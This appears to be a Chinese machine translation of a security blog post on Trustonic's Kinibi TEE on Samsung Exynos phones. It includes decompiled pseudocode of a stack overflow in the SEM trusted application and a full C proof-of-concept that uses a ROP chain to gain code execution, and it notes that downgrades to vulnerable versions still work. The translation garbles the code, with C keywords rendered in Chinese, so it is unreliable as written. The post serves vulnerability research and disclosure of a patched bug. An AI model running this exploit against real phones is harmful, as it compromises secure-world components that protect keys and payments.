【譯】KINIBI TEE: TRUSTED APPLICATION EXPLOITATION

一段時間以來，Android設備和許多嵌入式系統都使用了受信任的執行環境（TEE）來託管一些安全功能（如硬件加密/密鑰，DRM，移動支付，生物識別等）。在ARM平臺上，TEE是小型操作系統，它們使用ARM TrustZone技術將其執行與標準操作系統（例如Linux）隔離開。

TEE操作系統比Rich Execution Environment（智能手機中的REE，Android）簡單得多，並且對逆向工程很有趣。這篇博客文章專門介紹Trustonic的TEE實施，尤其是三星爲其Exynos芯片組進行的集成。三星最近在受信任的應用程序中修復了一個小漏洞。在對TrustZone / Kinibi進行簡要說明之後，本文詳細介紹了此漏洞的利用。

信任區

在TrustZone體系結構中，TEE在安全的EL1異常級別上運行。可將受信任的應用程序加載到其之上，並在安全的EL0異常級別上運行。受信任的應用程序是經過簽名的圖像，只有在圖像簽名正確且來自受信任的開發人員的情況下，才能加載該圖像。

REE通過執行安全監視器調用（在內核模式下使用特權SMC指令）與TEE通信。這些調用由安全監視器處理，並中繼到TEE內核。

TrustZone架構

TrustZone允許通過使用非安全標誌（NS）標記內存來將安全世界的內存與正常世界隔離。在正常情況下運行的代碼只能訪問標記爲NS的內存。

在手機上，有3種主要的TEE實現：

基於Qualcomm SoC的設備上的QSEE / QTEE
華爲的TrustedCore
來自Trustonic的Kinibi

存在一個開源實現： op-tee ，此版本可以在Qemu和某些開發板上運行。

基尼比

Kinibi是Trustonic（也稱爲T-Base或Mobicore）構建的TEE實現，主要用於Mediatek和Exynos SoC。 Kinibi由多個組件組成：

微內核：MTK
運行時管理器：RTM
很少的內置驅動程序：加密，安全存儲，...
應用程序/驅動程序使用的幫助程序庫：McLib

Kinibi僅在Aarch32模式下運行。

基尼比建築

微內核以安全的EL1異常級別運行。它提供對驅動程序和受信任的應用程序的系統調用，並強制執行任務隔離。安全監視器中的一段代碼將SMC中斷從正常環境中繼到TEE內核，從而允許兩個環境之間進行通信。內核還執行搶佔式調度。

運行時管理器是Kinibi的主要任務，它管理普通世界客戶端和受信任的應用程序之間的會話。當REE客戶端打開新會話時，RTM首先檢查應用程序是否已經加載。加載過程涉及應用程序二進制文件的簽名檢查。還可以對應用程序二進制文件進行加密，因此RTM在加載受信任的應用程序之前對其進行解密。

驅動程序在安全的EL0異常級別運行，並且由於其二進制文件與受信任的應用程序具有完全相同的格式，因此它們將加載相同的API。與TA相比，驅動程序可以訪問的系統調用更多。這些額外的系統調用使驅動程序可以映射其他任務內存，物理內存，執行SMC調用等。

McLib庫爲TA和驅動程序提供了API。它是二進制文件，映射到每個驅動程序或應用程序任務中的固定地址。應用程序通過跳轉到r0寄存器中具有API ID的庫入口點來使用該庫。 TA和驅動程序的功能稱爲tlApi*而僅驅動程序的功能稱爲drApi* 。 API函數的定義可以在許多GitHub存儲庫中找到，這有助於逆向工程。

在Samsung手機上，可以從sboot.bin輕鬆提取這些組件。 @kutyacica在ekoparty會議上提出了一種提取這些部分的好方法。他在sboot.bin二進制文件中找到一個表，其中包含不同組件的偏移量。自Galaxy S6以來，此表的格式略有變化，但解壓縮二進制文件仍然很簡單。

受信任的應用程序

在大多數情況下，受信任的應用程序和驅動程序是簽名的二進制文件，但未加密，可以輕鬆進行分析。在三星手機上，這些二進制文件存儲在/vendor/app/mcRegistry/和/system/app/mcRegistry/目錄中。

受信任的應用程序和驅動程序二進制文件使用的格式是MCLF格式。該格式記錄在trustonic-tee-user-space GitHub項目上可用的頭文件中。 mclf-ida-loader可幫助您在IDA中加載此格式。

加載TA時，Kinibi使用MCLF頭映射TA存儲空間中的代碼，數據和bss區域。 mcLib庫映射到固定地址（Galaxy S8 / S9上爲0x07d00000 ）。打開會話時，共享緩衝區（稱爲tci ）也映射到固定地址： 0x00100000或0x00300000具體取決於MCLF標頭中指定的版本。

REE中的TA客戶端可以映射新的共享內存區域，這些區域映射爲0x00200000 + map_id*0x00100000 。

TA內存映射

大多數受信任的應用程序將tci共享內存用於輸入和輸出緩衝區，前32位用作命令ID。通常，初始化是在入口點完成的（加密初始化，堆棧cookie隨機化等），然後調用main函數。 main函數檢查共享緩衝區的大小，然後啓動主循環。 TA使用tlApiWaitNotification （6）API等待新消息，並處理共享緩衝區的內容。響應數據被寫入共享緩衝區，TA使用tlApiNotify （7）API通知REE，並等待新消息。

TA開發101

即使TEE操作系統專用於安全性操作，該操作系統也沒有像ASLR / PIE這樣的安全性強化，這使得利用受信任的應用程序中的漏洞非常容易。

在G955FXXU2CRED和G955FXXU3CRGH （對於Galaxy S8 +）之間的某個G955FXXU2CRED ，三星修補了SEM TA（ fffffffff0000000000000000000001b.tlbin ）。

該修補程序修復了0x1B命令處理程序中直接可達到的基於堆棧的緩衝區溢出。此外，在此TA的新版本中啓用了堆棧cookie。

  / * G955FXXU2CRED中的僞代碼* /
 無效 __fastcall handle_cmd_id_0x1b （ unsigned int * tciBuffer）
 {
   // [...]
   字符 v64 [ 256 ];  // [sp + 158h] [bp-770h]
   字符 v65 [ 256 ];  // [sp + 258h] [bp-670h]
   字符 v66 [ 200 ];  // [sp + 358h] [bp-570h]
   字符 v67 [ 1024 ];  // [sp + 420h] [bp-4A8h]
   字符 v68 [ 64 ];  // [sp + 820h] [bp-A8h]
   字符 v69 [ 52 ];  // [sp + 860h] [bp-68h]
   int v70;  // [sp + 894h] [bp-34h]

   bzero（ v66，0xC8u ）;
   bzero（ v64，0x100u ）;
   bzero（ v65，0x100u ）;
   bzero（ v68，0x40u ）;
   v4 = tciBuffer [ 2 ];
   v5 = tciBuffer [ 3 ];
   //具有源和長度受控的memcpy
   memcpy（v66， tciBuffer + 4 ， tciBuffer [ 3 ]）;
   v6 = v5 + 12 ;
   v7 = * （ int * ）（（ char * ）tciBuffer + v5 + 16 ）;
   如果 （ tciBuffer [ 23042 ] > （ unsigned int ）（v7 + 208 ） ）
   {
     snprintf（v67，0x400， “〜％18s：％4d：輸入數據通過緩衝區。” ， v8，113 ）;
     print（ “ [E] SEM％s \ n ” ， v67）;
     回報 ;
   }
   // [...]

沒有堆棧cookie，在命令處理程序中直接可以訪問基於堆棧的緩衝區溢出，這應該使您想起您的第一個漏洞利用/挑戰。

受信任的應用程序具有映射的執行代碼頁和讀寫數據頁。 Kinibi沒有像mprotect的syscall，也不提供syscall和Trusted Applications之間的map ，因此在TA中執行任意代碼的唯一方法是對其代碼進行ROP。

爲了與TEE通信，使用了libMcClient.so庫。該庫提供了加載TA，打開會話，映射內存並通知受信任的應用程序的功能。 Trustonic提供了使用此庫的頭文件： MobiCoreDriverApi.h 。在Android上，只有某些特權應用程序和具有特定SElinux上下文的應用程序可以使用TEE驅動程序。

這是一個簡單的漏洞利用，ROP在Samsung設備上打印受控日誌字符串，TEE日誌以kmsg打印。

  #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys / stat.h>

 #include “ MobiCoreDriverApi.h”

 #define err（f_，...）{printf（“ [\ 033 [31; 1m！\ 033 [0m]”）;  printf（f_，## __ VA_ARGS__）;}
 #define ok（f_，...）{printf（“ [\ 033 [32; 1m + \ 033 [0m]”）;  printf（f_，## __ VA_ARGS__）;}
 #define info（f_，...）{printf（“ [\ 033 [34; 1m- \ 033 [0m]”）;  printf（f_，## __ VA_ARGS__）;}
 #define warn（f_，...）{printf（“ [\ 033 [33; 1mw \ 033 [0m]”）;  printf（f_，## __ VA_ARGS__）;}

 int main （ int argc， char ** argv） {
     mcResult_t ret;
     mcSessionHandle_t session = { 0 };
     mcBulkMap_t 地圖;
     uint32_t stack_size;
     char * to_map;


     // ROPgadget --binary fffffffff0000000000000000000001b.tlbin \
 // --rawArch arm --rawMode thumb --offset 0x1000
     uint32_t rop_chain [] = {
         0x38c2 +1 ， // pop {r0，r1，r2，r3，r4，r5，r6，pc}
         0x0 ， // r0（將是要打印的字符串）
         0x0 ， // r1（參數，將在mcMap之後設置）
         0x0 ， // r2（未使用）
         0x0 ， // r3（未使用）
         0x0 ， // r4（未使用）
         0x0 ， // r5（未使用）
         0x0 ， // r6（未使用）
         0x25070 + 1 // tlApiPrintf包裝器
     };

     文件 * f = fopen（
         “ /data/local/tmp/fffffffff0000000000000000000001b.tlbin” ，
         “ rb”
     ）;
     如果 （ ！ f） {
         err（ “無法打開TA％s \ n ” ，argv [ 1 ]）;
         返回 1 ;
     }
     fseek（f， 0 ， SEEK_END）;
     uint32_t ta_size = ftell（f）;
     fseek（f， 0 ， SEEK_SET）;


     char * ta_mem = malloc（ta_size）;
     if （fread（ta_mem， ta_size， 1 ， f） ！= 1 ） {
         err（ “無法讀取TA” ）;
         返回 1 ;
     }

     uint32_t tciLen = 0x20000 ;  // TA訪問此WSM上的固定偏移量
                                //因此緩衝區應該足夠大
     uint32_t * tci = malloc（tciLen）;

     ret = mcOpenDevice（MC_DEVICE_ID_DEFAULT）;
     如果 （ret ！= MC_DRV_OK） {
         err（ “無法mcOpenDevice \ n ” ）;
         返回 1 ;
     }

     to_map = strdup（ “->來自受信任應用程序的Hello <- \ n ” ）;

     ret = mcOpenTrustlet（ ＆ session， 0 ， ta_mem， ta_size， 
                          （ uint8_t * ） tci ， tciLen）;
     如果 （ret == MC_DRV_OK） {
         //將字符串映射到TA虛擬空間中，API返回
         // TA空間中的地址。
         ret = mcMap（ ＆ session， to_map， 40960 ， （mcBulkMap_t * ） ＆ map）;
         如果 （ret ！= MC_DRV_OK） {
             err（ “無法映射到 \ n ” ）;
             返回 1 ;
         }
         ok（ “ TA虛擬內存中的地址：0x％x \ n ” ， map.sVirtualAddr）;

         // rop_chain [1]爲R0，將其指向TA中的字符串
         //地址空間。
         rop_chain [ 1 ] = map.sVirtualAddr;

         stack_size = 0x54c ;  //填充堆棧框架
         stack_size + = 0x20 ;  //彈出的寄存器大小

         //填充tciBuffer
         tci [ 0 ] = 27 ;  // cmd ID
         tci [ 3 ] = stack_size + sizeof （rop_chain）;  // memcpy大小
         memcpy（ ＆ tci [ 4 + stack_size / 4 ]， ＆ rop_chain， sizeof （rop_chain））;

         //通知助教
         mcNotify（ ＆ session）;
         mcWaitNotification（ ＆ session， 2000 ）;
         mcCloseSession（ ＆ session）;
     }
     mcCloseDevice（MC_DEVICE_ID_DEFAULT）;
     返回 0 ;
 }

  dreamlte：/＃/數據/本地/ tmp / exploit_sem
 [+] TA虛擬內存中的地址：0x2005f0

 dreamlte：/＃dmesg -c |  grep TEE
 TEE：b01 | [I] SEM [INFO]：開始SEM TA ::版本：2016.06.15.1
 TEE：b01 | [E] SEM錯誤的CCM版本
 TEE：b01 | [E] SEM錯誤的CCM版本
 TEE：b01 | [E] SEM handleCCMDataSWP [錯誤END]
 TEE：b01 |->從受信任的應用程序<-您好

結論

本文顯示了在Trusted App中實現任意代碼執行有多麼容易。 SEM應用程序還包含其他重要漏洞，但是堆棧cookie限制了漏洞利用。

由於TEE提供了一種防回滾機制，因此在最新設備上，TA中的修補漏洞應該是無法利用的。不幸的是，三星在合併與安全相關的補丁時並不總是增加版本號。 SEM TA就是這種情況，這意味着仍可以加載和利用舊版本。
在許多三星設備上，防回滾機制似乎根本不起作用（例如在S8上）。

由於攻擊者可以與安全驅動程序和TEE內核syscall進行交互，因此在受信任的應用程序中獲得代碼執行會大大增加攻擊面。

【譯】KINIBI TEE: TRUSTED APPLICATION EXPLOITATION

信任區

基尼比

受信任的應用程序

TA開發101

結論

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